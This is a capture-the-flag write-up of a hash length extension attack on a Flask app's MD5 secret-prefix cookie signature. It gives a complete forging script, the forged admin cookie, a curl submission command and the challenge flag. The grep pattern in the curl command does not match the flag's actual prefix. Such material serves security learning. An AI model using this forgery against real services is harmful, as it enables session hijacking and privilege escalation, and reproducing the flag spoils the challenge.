arrow_backUS Cyber Games 2026
Web / Cryptoeasy

Lost In Translation

by Pavel Knespl (capyplivl)

A Flask "Travel Notes" app issues a hex-encoded session cookie user=<name>&role=guest plus a sig cookie set to MD5(SECRET || data). The index page shows the flag only when the parsed session has role=admin. The secret-prefix MD5 MAC is vulnerable to a hash length extension attack, and parse_session keeps the last value for duplicate keys, so an appended &role=admin wins.

Solve

  1. Review app.py. Routes are /, /login, /logout. The signature is sig = MD5(SECRET || data) (sign_session), SECRET = b"secret_change_me" (16 bytes, but you do not need to know it). parse_session splits on & then =, storing into a dict, so a trailing &role=admin overrides the earlier &role=guest. /login blocks the literal username admin but that check is irrelevant; only role matters.
  2. Log in as any non-admin user to get a legitimately signed cookie pair. Logging in as haxor yields:
    session = 757365723d6861786f7226726f6c653d6775657374
    sig     = 89e9feb402c4e2e5d12462e0f43fbad8
    
    (session decodes to user=haxor&role=guest, sig is MD5(SECRET || data).)
  3. Run a hash length extension attack to append &role=admin. The forged session is data || md5_glue_padding || &role=admin, and the new signature is computed by resuming MD5 from the published digest's internal state, with no knowledge of SECRET. The binary glue padding decodes as latin-1; the chunk role=guest<padding> sets role to junk, then the final &role=admin overrides it (last duplicate key wins). The padding's length bytes contain no & (0x26) for this message, so no extra split occurs.
  4. The secret length is unknown, so brute-force lengths 0 to 39 and submit each forged pair to /. The script below uses a self-contained pure-Python MD5 with settable internal state (no external dependency):
    #!/usr/bin/env python3
    import struct, math
    
    ORIG_DATA = b"user=haxor&role=guest"
    ORIG_SIG  = "89e9feb402c4e2e5d12462e0f43fbad8"
    APPEND    = b"&role=admin"
    
    _s = [7,12,17,22]*4 + [5,9,14,20]*4 + [4,11,16,23]*4 + [6,10,15,21]*4
    _K = [int(abs(math.sin(i+1)) * 2**32) & 0xFFFFFFFF for i in range(64)]
    
    def _lrot(x, c):
        x &= 0xFFFFFFFF
        return ((x << c) | (x >> (32 - c))) & 0xFFFFFFFF
    
    def _compress(state, block):
        a, b, c, d = state
        M = struct.unpack("<16I", block)
        for i in range(64):
            if   i < 16: f = (b & c) | (~b & d);              g = i
            elif i < 32: f = (d & b) | (~d & c);              g = (5*i + 1) % 16
            elif i < 48: f = b ^ c ^ d;                       g = (3*i + 5) % 16
            else:        f = c ^ (b | (~d & 0xFFFFFFFF));     g = (7*i) % 16
            f = (f + a + _K[i] + M[g]) & 0xFFFFFFFF
            a, d, c = d, c, b
            b = (b + _lrot(f, _s[i])) & 0xFFFFFFFF
        return [(state[j] + v) & 0xFFFFFFFF for j, v in enumerate((a, b, c, d))]
    
    def _pad(n):
        p = b"\x80" + b"\x00" * ((56 - (n + 1) % 64) % 64)
        return p + struct.pack("<Q", (n * 8) & 0xFFFFFFFFFFFFFFFF)
    
    def length_extension(sig_hex, orig_len, append):
        state = list(struct.unpack("<4I", bytes.fromhex(sig_hex)))
        glue  = _pad(orig_len)
        msg   = append + _pad(orig_len + len(glue) + len(append))
        for off in range(0, len(msg), 64):
            state = _compress(state, msg[off:off+64])
        return glue, struct.pack("<4I", *state).hex()
    
    for slen in range(40):
        glue, sig = length_extension(ORIG_SIG, slen + len(ORIG_DATA), APPEND)
        forged = ORIG_DATA + glue + APPEND
        print(f"[len={slen:2d}] session={forged.hex()} sig={sig}")
    
  5. Submit each candidate to /:
    curl -s http://HOST:PORT/ -b 'session=<hex>; sig=<sig>' | grep -i svicusg
    
    Secret length 16 produces the accepted pair below; the index renders with is_admin = True and the flag appears in the admin-card:
    session = 757365723d6861786f7226726f6c653d677565737480000000000000000000000000000000000000280100000000000026726f6c653d61646d696e
    sig     = 5e0088a9243beeee04ccb71f5051548c
    

A self-contained copy of the script is saved as solve.py.

Flag: SVIUSCG{f2d4993d593855ad6cc6b1d6d8754025}